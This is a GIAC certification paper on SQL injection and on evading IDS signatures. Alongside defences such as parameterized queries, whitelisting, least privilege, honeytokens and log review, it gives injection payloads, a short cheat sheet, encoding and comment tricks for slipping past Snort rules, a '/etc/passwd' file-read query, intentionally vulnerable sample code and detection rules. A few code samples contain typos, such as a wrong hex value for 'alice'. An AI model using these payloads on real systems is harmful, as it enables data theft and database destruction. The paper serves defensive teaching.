Global Information Assurance Certification Paper

Defeating SQL Injection IDS Evasion

GCIA Gold Certification

Author: Brad Warneck, bwarneck@secureworks.com

Advisor: Jim Purcell

Accepted: January 4th 2007

Abstract

This paper will explore the continuing rising threat of SQL injection as techniques are developed making it more difficult to detect this form of attack vector. More recent forms of SQL injection capitalize on an IDS's innate weakness of being rule-based, and gives attackers room to craft an attack in a way to avoid detection. Techniques of SQL injection will be presented for those unfamiliar with this threat. Current state of IDS detection for this vector will be explored. Different methods of evasion will be covered, depicting how snort rules were misled. It will also be shown how Defense In Depth is the only true protection there is against these attacks, through separation of privileges, application log analysis, and event correlation.

Table of Contents

Introduction

SQL Injection is nothing new, but it is becoming a more popular attack vector as more establishments are developing and deploying web-based applications (both internally and public facing). Frequently, time restraints are placed on these deployments and security takes a back seat to functionality. Therefore, a reliance becomes placed on Intrusion Detection (IDS) technologies to protect the establishment. With this increased focus on IDS technology, advanced techniques are being employed to evade detection. Consequently, this may blind the organization to potential threats to their credibility, integrity, and potentially availability. In order to properly protect a network from SQL injection, one must first be familiar with how SQL injection works, understand how intrusion detection identifies this form of attack, how intrusion detection software can be evaded, and finally know what measures can be taken to ensure the IDS short-comings do not cause a blind spot to attacks.

What is SQL Injection?

It is impossible to defend yourself against an attack if you don't know how the attack works in the first place. According to Paul Litwin, SQL Injection occurs when “a hacker enters a malformed SQL statement into the textbox that changes the nature of the query so that it can be used to break into, alter, or damage the back-end database” (2004). In other words, the end user enters data into a web form (including SQL statements) that is different from what the application is expecting to receive. The result is a modified query run on the

database, which could significantly change the output displayed back to the end user, change the contents of the data in the database, or even run arbitrary commands on the back-end server itself. This type of attack is possible due to the fact that "the SQL language contains a number of features that make it quite powerful and flexible, namely: the ability to embed comments; string multiple statements together; query metadata from standard set of system tables." (2004), which will also be shown later drastically increases the difficulty of detection.

Basic Injection

Seen below is part of a very basic PHP script that would accept user input to a web page form and check this against a database of known users, where the user-supplied input is used as part of the query. If the query is successful, the user is determined to be authorized. This is more commonly referred to as a login script.

```
$user = $_POST['username'];
$pass = $_POST['password'];
$query = "SELECT * FROM members WHERE username = '" . $user
         . "' AND password = '" . $pass;
...
$result = mysql_query($query);
$rows = mysql_num_rows($result);
if ($rows != 0) { // query matched something
  print "Successful login!";
}
```

ID	username	password
1	alice	apples
2	bob	banana
3	chuck	carrot

Figure 1: initial contents of members table

Figure 1 represents the contents of the table 'members,' showing three possible valid users and their respective passwords. An expected successful login to this script would be a username of 'bob' and a password of 'banana,' resulting in the following SQL query and result set in Figure 2:

```
SELECT * FROM members WHERE username='bob' AND password='banana'
```

ID	username	password
2	bob	banana

Figure 2: Result of legitimate query

If the end user were to input the value “steve' OR 1=1 -- ” into the username field, and leave the password field blank, the resultant query would be:

```
SELECT * FROM members WHERE username = 'steve'
OR 1=1 –- AND password = ''
```

Here is a quick break down this input and resulting query: the tick mark (') after the username of 'steve' is used to close the opening tick mark hard coded into the query (username = '); the 'OR 1=1' acts as a logical “or” statement yielding results even if the predefined where-clause does not match any data; and finally the double hyphen (--) is a standard SQL comment which ignores all text from that point to the end of the line, causing the above query to not test the password field for a match. If the resultant query were to be spoken in plain English it would along the lines of, “Show me all listings from the members table

where the username is steve, or show me everything from the members table." As seen in Figure 3, this query would return all rows of the members table, and result in a successful login even though a valid username and password was not supplied.

ID	username	password
1	alice	apples
2	bob	banana
3	chuck	carrot

Figure 3: Result of malformed user-input query

.Blind Injection

Although the previous example may seem trivial because the PHP script is poorly written, the fact of the matter is that the application is vulnerable to an injection attack. When a web programmer has not been mindful of exception handling, SQL error messages are fed back to the clients' browser window indicating invalid parameters have been passed to the application. These error messages can provide a lot of information about the database structure if not carefully crafted, that can be used in future, more threatening SQL injection attacks.

The conscientious programmer will be aware of the threat of displaying these errors to the client, and may code the page in such a fashion as to not show any signs of failure on the page. What this programmer might not be aware of, is that while an attacker can sometimes gain information about the database structure from error messages, frighteningly they are also able to obtain information from a lack of error condition. Using a technique called "blind SQL injection," carefully crafted

injection input is passed to the application acting as a “True or False” style question to the database (CGISecurity.com). If the page displays exactly as it would if the SQL injection were not there, it is assumed the injection was successful, and the injection evaluated as 'True.' The attacker can repeat the process in a fashion that enables her to map out metadata, and subsequently contain a further understanding of the database structure.

A sample of this attack might be as follows: your local bookstore has a website that permits you to search for all books by a particular author by visiting the page AuthorsWorks.aspx with a parameter of the author's name. Therefore, visiting

```
/AuthorsWorks.aspx?name=Shakespeare
```

will, as expected, display all of the works of Shakespeare. A test of the SQL injection is performed by injecting a value that will knowingly result in a true evaluation, yet not change the result of the display page. Thus, visiting the address

```
/AuthorsWorks.aspx?name=Shakespeare and 1=1
```

will also display all of Shakespeare's works listed in the database. With these two pages' contents being identical, it confirms the variable is vulnerable to SQL injection. With this information, a series of specially crafted SQL queries can be passed to this variable acting as True/False questions (true if the expectant page is displayed, false if it is not) to obtain information about the database and create more sophisticated injections. One such example of this true/false question mapping would be the following query:

```
/AuthorsWorks.aspx?name=Shakespeare AND ASCII(lower(substring((select top 1
```

```
name from sysobjects where xtype='U'), 1, 1))) = 97
```

This query selects the first character of the first table in the database, and compares its ASCII value to the number 97 (ASCII representation for the letter 'a'). If the works of Shakespeare are displayed, the first table in the database starts with the letter 'a' due to the true result of the injection. If the posting is not displayed, subsequent ASCII codes for each character of the alphabet can be compared until the works are displayed. Once the first character is discovered, the query parameters can be adjusted to look at the second character of the first table, as so:

```
/AuthorWorks.aspx?id=Shakespeare AND ASCII(lower(substring((select top 1 name
from sysobjects where xtype='U'), 2, 1))) = 97
```

This concept, originally discovered by Kevin Spett of SPI Dynamics (2004), serves as proof that a malicious user is able to determine metadata about your database even when the application programmer has been mindful of not exposing this information through error messages. It is equally possible for an ill-intentioned user to determine column names of tables using the same method. Once this information is obtained, it is trivial for her to manipulate the data in the database for their needs, including changing data, inserting data, deleting data or even whole tables.

For reference, the following table has been compiled from multiple SQL injection “cheat sheets” found on the web (RSnake, 2007; Mavituna, 2007). These are just a few, to give you an idea of what else is possible, and should not be considered all encompassing.

```
1 EXEC SP_ (or EXEC XP_)
```

```
1 AND 1=1
1' AND 1=(SELECT COUNT(*) FROM tablenames); --
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
Tex'+'t
5-1
WAITFOR DELAY '0:0:10'--
';shutdown --
```

IDS/IPS Detection

Intrusion detection and intrusion prevention have become heavily relied on for detection and protecting against SQL Injection attacks. In fact, according to a SQLSecurity.com (2007) poll, thirty nine percent of network/security administrators use intrusion detection technologies as their primary defense for SQL injection, outweighing all other methods by at least fourteen percent.

From the previous section, the general form of a SQL injection attack is understood. Briefly summarized, they generally consist of the reserved SQL keywords and often times comment characters to ignore the remainder of the hard-coded query. A simple signature to detect the infamous SQL injection vulnerability test of "*' or 1=1*" can be displayed as follows:

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection attempt";
flow: to_server, established; content: "' or 1=1 --"; nocase; sid: 1; rev:1;)
```

This signature may appear to be pretty generic at a quick glance, however upon further inspection it is quite specific and cannot be relied on for catching all instances of the "or 1=1" test. The first thing to note is the tick mark ('). Having this tick mark limits the signature to only catching injections

performed on input fields that are non-numeric. If the attacker knows the field is a numeric only field, the tick mark will not be used in the injection. The next somewhat obvious thing to note is the use of the comment form of double-hyphen (--). Although this is possibly the most common form of comment, other comments do exist such as the hash (#) and the multi-line comment (/* */). Therefore, a more reliable signature for catching these attempts would be written using a Perl Compatible Regular Expression (pcre) as seen here:

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection attempt";
flow: to_server, established; pcre: "/(and|or) 1=1 (\-\-|\/\*|\#)/i"; sid: 1;
rev:2;)
```

This signature is helpful to detect when someone is attempting to discover a SQL injection vulnerability, but obviously this test case is not needed to attempt an injection. If an attacker desired, a more sophisticated injection could be used right off the bat in hopes of the input parameter being vulnerable. Here are a couple fairly generic signatures looking for some of the more common keywords used in SQL:

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection SELECT
statement"; flow: to_server, established; pcre:"/select.*from.*(\-\-
|\/\*|\#)/i"; sid: 2; rev: 1;)

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection UNION
statement"; flow: to_server, established; pcre:"/union.*(\-\-|\/\*|\#)/i"; sid:
3; rev: 1;)

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection UPDATE
statement"; flow: to_server, established; pcre:"/update.*set.*\=.*(\-\-
|\/\*|\#)/i"; sid: 3; rev: 1;)

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection DROP TABLE
statement"; flow: to_server, established; pcre:"/drop table.*(\-\-|\/\*|\#)/i";
sid: 3; rev: 1;)

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection WAITFOR
DELAY statement"; flow: to_server, established; pcre:"/waitfor delay \'[0-
```

```
9]{1,3}:[0-9]{1,2}:[0-9]{0,2}\'.*(\-\-|\/\*|\#)/i"; sid: 4; rev: 1;)
```

These signatures just cover few basic SQL commands. They will need to be tuned on a per environment basis, dependent on what content the HTTP_SERVERS actually serve. The ultra-paranoid security technician would develop the rest of the signature arsenal for each of the SQL keywords. However, a point to be considered is the quantity of reserved words and that each signature will be checked until a match is found, system resources utilized by the additional signatures are also amplified, not to mention the quantity of false positive alerts. Taking into account that this is just one form of attack, and as expressed in the following section can be easily evaded, the added resource consumption may not merit its' worth on a busy network. The signatures will catch the lazy, sloppy, or apathetic attacker, but more sophisticated attacks will penetrate undetected by the IDS. That being said, it is still be worth while to maintain a basic set of signatures to catch and/or block these attacks.

Evasion Techniques

Intrusion detection technologies are commonplace amongst corporate networks, and if it is capable of detecting SQL injection then you are safe, right? ...Wrong. It is important to understand the shortcomings of the technologies you use, so that you may compensate for them in other areas. Due to the flexible and powerful nature of SQL, the attack vector field is increased to a point where IDS signatures can be tricked and certain injection attacks just simply cannot be detected by and IDS solution.

Variation

Looking back to the basic SQL injection example in the introductory section of this paper is the injection statement "' or 1=1 --" and the second section provided an IDS signature for this injection looking for "or 1=1" with any of the SQL accepted comments. This signature could easily be evaded with a variation on the comparison statement, simply by placing tick marks around the ones: "' or '1'='1'". This in interpreted by SQL as a comparison of two strings (or varchars) instead of two numeric values. The evaluation of the two strings is a true statement, in the same manner that the two numerics compared yielded true, causing the overall evaluation of our query to remain unchanged. It would be possible to write another signature for this as well, however there are near infinite possibilities for variation on this statement. Since the objective is to have a where-statement that always evaluates to 'true' any mathematical or string comparison that SQL is capable of performing can be used. The following queries will all return identical result sets:

```
SELECT * FROM members WHERE username = 'steve' OR 1=1 --
SELECT * FROM members WHERE username = 'steve' OR 2=2 --
SELECT * FROM members WHERE username = 'steve' OR 1<2 --
SELECT * FROM members WHERE username = 'steve' OR 1+1=2 --
SELECT * FROM members WHERE username = 'steve' OR "evade"="ev"+"ade" --
```

Spacing

Another evasive format is also possible due to the powerful nature of the SQL language. SQL, by nature, recognized any quote or tick mark as a notification that a new word is being started, regardless of its' placement in the line. This means that a SQL

statement does not need to have any spaces in the entire query and it will still successfully execute as if the spaces were in tact. The following queries all return the same dataset as seen in Figure 5:

```
SELECT * FROM members WHERE username = 'steve' OR 1=1 --
SELECT * FROM members WHERE username='steve'OR'1'='1'--
SELECT*FROM`database`.`members`WHERE`database`.`username`='steve'OR'1'='1'--
```

ID	username	password
1	alice	apples
2	bob	banana
3	chuck	carrot

Figure 5: Result of all three queries listed above

Of course, additional signatures could be written for this as well. However, between the previous evasion technique of variation and this technique of spacing, your basic signature set just grew exponentially.

Encodings

Using various encodings is a very powerful technique in evasion. Encodings not only have the ability to evade IDS signatures, but they also provide the ability to evade input validation. The easiest to understand is URL encoding.

URL Encoding

Due to the fact that RFC 1738 for URL specifications only calls for a small subset of all ASCII characters be permitted in a URL, there exists an alternate method for using the invalid characters when passing GET parameters. This method is using the

hexadecimal code that corresponds with the character, preceded by a percent sign. This is commonly recognized as '%20' where a space would normally be seen. However, the legal characters can also be represented using the hexadecimal codes as well. If an IDS signature is looking for the word “select” as a possible SQL injection, simply changing the injection to its' URL Encoded equivalent (%73%65%6C%65%63%74) will completely bypass setting off this alarm. Using the PCRE format for the signatures permits these encodings to be added to the signatures with relative ease. Here is what the newly modified basic “select” signature looks like:

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT
statement”; flow: to_server, established;
pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D)
.*(\-\-|\/\*|\#)/i”; sid: 2; rev: 2;)
```

This signature looks better now. However, even though the case insensitive flag (/i) was specified at the end of the PCRE, it is not intelligent enough to convert the URL encodings to their equivalent uppercase. The signature modified (again) will take the form:

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT
statement”; flow: to_server, established;
pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%
66|%46)(r|%72|%52)(o|%6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i”; sid: 2; rev: 3;)
```

This signature will now match any non-encoded 'select' statement, as well as any upper and lowercase encoded variation of this query string. The same procedure should be taken on the rest of the SQL signatures in your rule base.

Hex Encoding

Another powerful feature of the SQL language is the ability

to translate hexadecimal encoded strings into their ASCII equivalent. This becomes useful on more advanced injections (i.e. using “union select” statements) that do not permit certain characters on the input validation. Using a SQL query to determine the hex value of interest can be accomplished:

```
SELECT HEX('alice');
```

HEX('alice')
616C696365

Figure 6: Hex encoded string for root

Once the hex value is determined (Figure 6), it can be preceded with a '0x' to signal the value is hex encoded. If the original injection were to take the form:

```
UNION SELECT password FROM members WHERE username = 'alice' --
```

It could be altered to not use tick marks by replacing 'alice' with the hex encoded value:

```
UNION SELECT password FROM members WHERE username = 0x636c696365 --
```

This makes it a bit more difficult to alert on a particular expected expression, however it is more commonly used to bypass input validation when tick marks are not permitted as input.

Char() encoding

Similar in fashion to the hex encoding, is char() encoding. This technique is geared more toward input validation bypassing as well, but may also be used to evade non-SQL injection signatures. The char() function in SQL takes an ASCII decimal value, and converts it into its representative character. It is especially useful for evasion because it can be used in a nested statement. When used in combination with the “load data” function, potentially, the contents of sensitive file

"/etc/passwd" can be inserted into another table that can be read at a later time (assuming database service is running with appropriate system privileges). This is accomplished by the query:

```
LOAD DATA INFILE CHAR(39,47,101,116,99,47,112,97,115,115,119,100,39) INTO TABLE
sometable
```

This can also be accomplished by a slightly modified version of the query:

```
LOAD DATA INFILE CONCAT(CHAR(39), CHAR(47), CHAR(101), CHAR(116), CHAR(99),
CHAR(47), CHAR(112), CHAR(97), CHAR(115), CHAR(115), CHAR(119), CHAR(100),
CHAR(39)) INTO TABLE sometable
```

Which is the same thing as the query:

```
LOAD DATA INFILE '/etc/passwd' INTO TABLE sometable
```

Then, if 'sometable' is able to be viewed on the web page, normally or through additional injections, the contents of this sensitive file is known while both input validation as well as IDS signatures were evaded.

Multi-Line Comments

The final evasion technique covered in this paper is the nail in the coffin for intrusion detection of SQL injection. The inclusion of multi-line C-Style comments in SQL provides enough variation, that it is nearly impossible to detect an injection when this is used. The comment takes the form "/* */" where the "/*" is the beginning of the comment, and the "*/" is the end of the comment. SQL treats these comments in a similar fashion to white space, in that everything contained in the comment is ignored as if it did not even exist, causing all surrounding text to be merged. As a result, numerous identical queries can

be executed in a multitude of variations resulting in an evasion of the IDS signatures.

```
SELECT * FROM members WHERE username = 'steve'/**/OR/**/'1'/**/='1' --
SELECT * FROM members WHERE username = 'steve'/*random text*/OR'1'='1' --
S/*stuff*/E/*blah*/L/*more stuff*/E/**/C/**/T/**/*/**/F/**/R/**/O/**/M/**/
m/**/e/**/m/**/b/**/e/**/r/*evading*/s/*signatures*/ W/**/H/**/E/**/R/**/E
/**/u/**/s/**/e/**/r/*
*/n/**/a/**/m/**/e/**/ =/**/'/**/s/**/t/**/e/**/v/**/e/**/'/**/ O/**/R/**/
'/**/1/**/'/**/=/**/'/**/1/**/'/**/ -/**/-
SELECT * FROM members WHERE username = 'steve' OR '1'='1' --
```

All of the above queries, although appearing to be different at a glance, will return the exact same result set. (Maor & Shulman, 2004).

Defeating SQL Injection

There are numerous ways in which an environment can be strengthened to help remediate the risk of SQL Injection attacks. No single method is the silver bullet to SQL injection, and the combination of all methods does not guarantee safety either. However, the more precautions taken, the better off you will be. These measures can be taken both on the web application level, at the database level, and also at the analysis level.

.Application Level

Input Validation

Dave Child says “the cardinal rule of all web development, and I can't stress it enough, is: Never, Ever, Trust Your Users. Assume every single piece of data your site collects from a user contains malicious code.” (2004). If that one simple sentence

can be remembered, security stature will already be increased greatly. Most SQL injection attacks come from malformed data put into input boxes on a web page form, where the attacker hopes the data is used directly as part of a SQL query. The concept of not trusting user input should actually be expanded to "do not trust any dynamic data used in queries." This modified statement is more encompassing to cover cookies, session data, header data, and anything else that might be used in a SQL query that can be easily modified by the end user. So you don't trust user input, now what? The concept behind not trusting input is to reject any potentially dangerous input, performed by pattern matching on the data. The simple way to perform input validation is to develop a list of known bad patterns, and if the input contains it, to remove or escape this data and continue to run the query. The best way to do this is, instead of developing a blacklist, is to develop a whitelist of acceptable input. Also, it must be stressed that these input checks should be done on the server side, not the client side (i.e. using javascript). A common technique used in attacks is for the attacker to "Save" the page from his browser to her local machine. She can then remove the "maxlength" restrictions on the input boxes, as well as any client-side input checking, before submitting the form to your server. Due to the vast differences on input types, here are a few examples to clarify how to properly develop a whitelist:

1. Phone Numbers – While a phone number may be entered into a text field many different ways: (123) 456-7890; 123.456.7890; the real content of interest are solely the digits. Therefore, a whitelist would be best suited as

removing an non-numeric characters from the variable, and then ensuring the length is smaller or equal to the expected length.

```
$sanitized['phone'] = trim(preg_replace('/[^0-9]/', '', $_POST['phone']))
```

This will leave the sanitized variable as “1234567890”, which cannot contain an injection. It also merits checking the length of the sanitized value to ensure it is within proper bounds.

2. Drop-down lists – A naive programmer would think that since he has a drop down list of only three possible choices, that data will arrive cleanly to the server. Using the previously mentioned method of saving the page locally, and attacker can add in his own options, or modify the variables being sent to the server on the fly using a software like the Firefox plug-in TamperData (http://tamperdata.mozdev.org/). If said programmers website sold small, medium, and large widgets, the best way to sanity-check this drop down selected option is using a switch statement of the known options:

```
switch ($_POST['widget_size']) {
  case “small”:
  case “medium”:
  case “large”:
    $sanitized['widget_size'] = $_POST['widget_size'];
    break;
  default: // code to return error message
}
```

Now it is guaranteed the value is one of the three listed options.

Although many websites claim it, escaping input variables is not a secure precaution to take. As depicted in the previous section, there are measures that can be taken to evade these escapes.

Parameterized Queries

A prepared statement (also known as a parameterized query) is a query template that is created with unfilled variables, and passed to the database where it is validated for proper syntax and then stored for later use. The template is then called by passing the unfilled variables as parameters. This greatly reduces the amount of overhead used when a query is called multiple times, since only the changing variables need to be retransmitted to the database. This feature also improves the safety of the queries because they are formed before the user supplied data is inserted into it, and the entire statement is treated as one query, instead of potentially multiple queries. PHP can implement this feature using the MySQL Improved (mysqli) extension, and ASP .NET can also handle prepared statements. The appropriate syntax in PHP for executing a prepared statement would look like:

```
$mysqli = new mysqli('dbhost','username','password','databasename');
$query = $mysqli->prepare("SELECT * FROM members WHERE username = ?");
$query->bind_param('s',$user);
$query->execute();
```

As seen here, the dynamic variable is replaced in the query with a question mark (?) to notify the back-end database that is where the variable will be placed. It is also possible to us

multiple variables, by simply using a question mark at each location (Greant & Richter, 2004).

Database Level

Stored Procedures

Stored procedures are conceptually the same thing at prepared statements, with the exception that they are stored directly on the database, instead of inside the web application. Although many web sites preach stored procedures are the silver bullet to SQL injection, if the stored procedure is not properly written, it can still be vulnerable to SQL injection attacks. Of the two MS-SQL stored procedures below, the first is still vulnerable while the second is not.

```
CREATE PROCEDURE sp_userName @user varchar(50) = NULL AS
DECLARE @sql nvarchar(1000)
SELECT @sql = ' SELECT * FROM members WHERE '
IF @suer IS NOT NULL
   SELECT @sql = @sql + ' username = ''' + @user + ''''
EXECUTE sp_executesql @sql
```

```
CREATE PROCEDURE sp_userName @user varchar(50) = NULL AS
DECLARE @sql nvarchar(1000)
SELECT @sql = ' SELET * FROM members WHERE '
IF @user IS NOT NULL
  SELECT @sql = @sql + ' username = @user'
EXEC sp_executesql @sql, N'@user varchar(50)',@user
```

Because the first example uses tick marks within the query, user input is capable of escaping this tick mark and adding in arbitrary SQL code. The second example on the other hand, define that variable as a varchar prior to execution, and subsequently

does not need to us the tick marks around the variable. The second method is not susceptible to SQL injection.(Kumar, 2006)

Separation of Duties

The most basic security measure that can be taken to protect your data is by reducing the amount of privileges the calling user has. If the user account only has 'select' permissions on a database, any injection attempts to modify or delete data, or run system function calls will be in vein. If the web application has the need to modify data, an additional account should be created with solely that permission. Furthermore, it is advisable for the user account to be further restricted to 'select' permissions on only one table, or one subset of tables. If data theft is the goal of the attacker, the fewer tables he can access the better. By performing this privilege reduction, the risk factor is not being eliminated, but it is being reduced.

Honeytokens

Certain SQL injection attempts, like the 'or 1=1' approach, will most times access all items in a given database table whereas normal application usage will only access a subset of the data at a time. Knowing this, what is known as a 'honeytoken' can be planted in the database. According to Lance Spitzner, a honeytoken is “a digital or information system resource whose value lies in the unauthorized use of that resource” (2003). Essentially, a fictitious database entry is

created that should not be accessed under normal usage of the application. The only case where this entry would be accessed would be unauthorized usage. Therefore, monitoring the access of this honeytoken would be a dead give away of hostile activity occurring. The simplest way to accomplish this monitoring would be to create an IDS signature that detects the value of this data as it travels between the database server and the web application server. Looking at Figure 1, if the database entry of 'Trogdor!!' were entered as a honeytoken username, the following IDS signature could be developed to detect it being accessed:

```
alert tcp $DATABASE_SERVERS $DATABASE_PORTS -> $HTTP_SERVERS any (msg:
"HoneyToken Access"; flow: to_server, established; content:"Trogdor!!"; sid: 1;
rev: 1;)
```

The signature is inspecting all traffic flowing from the database server to the web server, not vice versa, and any port on the web server. This is because the web server will make its' query to the database server using an ephemeral port, and the honeytoken data will be delivered to the web server. Once this alert is generated, the request can be correlated with application logs from the web server to determine the true source of the activity (Spitzner, 2003).

.Analysis Level

Application Log Monitoring

A time consuming but nearly fool-proof method of detecting SQL injection manually reviewing the application level logs on devices of interest, such as Apache or IIS logs. Using anomaly based analysis one can quickly determine stray page requests

from normal requests. Once the stray requests are determined, further investigation of these can be done to classify the log entry as benign or a potential attack.

```
127.0.0.1 - - [03/Apr/2007:14:11:12 -0500] "GET
/login.php?username=alice&pass=apples HTTP/1.1" 200 132
```

The above log entry would be an expected line for a legitimate login attempt from the page login.php. Below is what a SQL injection attack would look like in the application log.

```
127.0.0.1 - - [03/Apr/2007:14:11:12 -0500] "GET
/login.php?username=steve'or'1'='1'--&pass=ignored HTTP/1.1" 200 132
```

It is evident at a glance the second log entry is an abnormal input for a username that typically only consists of alphabetic characters.

This process of log analysis is limited to GET requests, as POST variables are not stored in the logs by default (for security purposes). Using an application firewall, such as ModSecurity for Apache (http://www.modsecurity.org/), will enable the ability to log these POST variables for more thorough analysis.

Penetration Testing

Penetration testing is an authorized attack on your applications to determine where the vulnerabilities lie, and what code needs to be addressed. Network applications are constantly being changed and created in enterprise environments. Therefore, penetration testing on all web applications on the network should be a continual process.

Thankfully, there exist many tools that automate this process. The folks over at the Open Web Application Security Project have a nice collection of free security tools, like SQLiX. This automated tool is "able to crawl, detect SQL injection vectors, identify the back-end database and grab function call/UDF results (even execute system commands for MS-SQL)." The feature that sets SQLiX apart from other automated SQL injection tools is its' ability to detect blind injection vectors, aside from normal injection vectors.

While these automated tools are great for speeding up the penetration testing process, manual penetration testing should also be employed as often as possible. These automated tools are frequently limited in the range of exploitations they make, and new techniques will surface that the applications may be vulnerable to.

Conclusion

SQL injection is a very powerful attacking technique, that expands vastly beyond the basic examples provided within this paper. However, you should now have a strong understanding of how this technique works. It has also been expressed how an intrusion sensor catches these attacks, as well how attackers can craft their way around these detections. It is evident that the best way to prepare and defend against SQL injection is through Defense-in-Depth. There does not exist a method that will single handedly defeat SQL injection, but when combined together they provide a near impenetrable web based application.

References

CGISecurity.com. CGISecurity.com: What is Blind SQL Injection?. Retrieved on January 11, 2007 from http://cgisecurity.com/questions/blindsql.shtml.

Child, David. (July 2004). Writing Secure PHP. Retrieved March 20, 2007 from http://www.ilovejackdaniels.com/php/writing-secure-php.

Greant, Zak & Richter, Georg. (March 16, 2004). ext/mysqli: Part I – Overview and Prepared Statements. Retrieved on March 26, 2007 from http://devzone.zend.com/node/view/id/686.

Kumar, Santosh. (June 2006). Are stored procedures safe against SQL injection?. Retrieved on March 27, 2007 from http://palisade.plynt.com/issues/2006Jun/injection-stored-procedures/.

Litwin, Paul. (2004). Data Security: *Stop SQL Injection Attacks Before They Stop You*. Retrieved February 3, 2007 from http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/.

Maor, Ofer & Shulman, Amichai. (April 2004). SQL Injection Signatures Evasion. Retrieve on February 18, 2007 from http://www.imperva.com/application_defense_center/white_papers/sql_injection_signatures_evasion.html.

Mavituna, Ferrah. SQL Injection Cheat Sheet. Retrieved on March 19, 2007 from http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/.

Rsnake. SQL Injection cheat sheet; Esp: for filter evasion. Retrieved on March 17, 2007 from http://ha.ckers.org/sqlinjection/.

Spett, Kevin. (2005). Blind SQL Injection: *Are your web applications vulnerable?*. Retrieved March 14, 2007 from http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf.

Spitzner, Lance. (2003). Honeytokens: The Other Honeypot. Retrieved May 21, 2007 from http://www.securityfocus.com/infocus/1713.

SQLSecurity.com. (2006). What is your "primary" defensive mechanism for application security flaws?. Retrieved on March 4, 2007 from http://www.sqlsecurity.com/default.aspx.

Additional Reading:

OWASP: http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project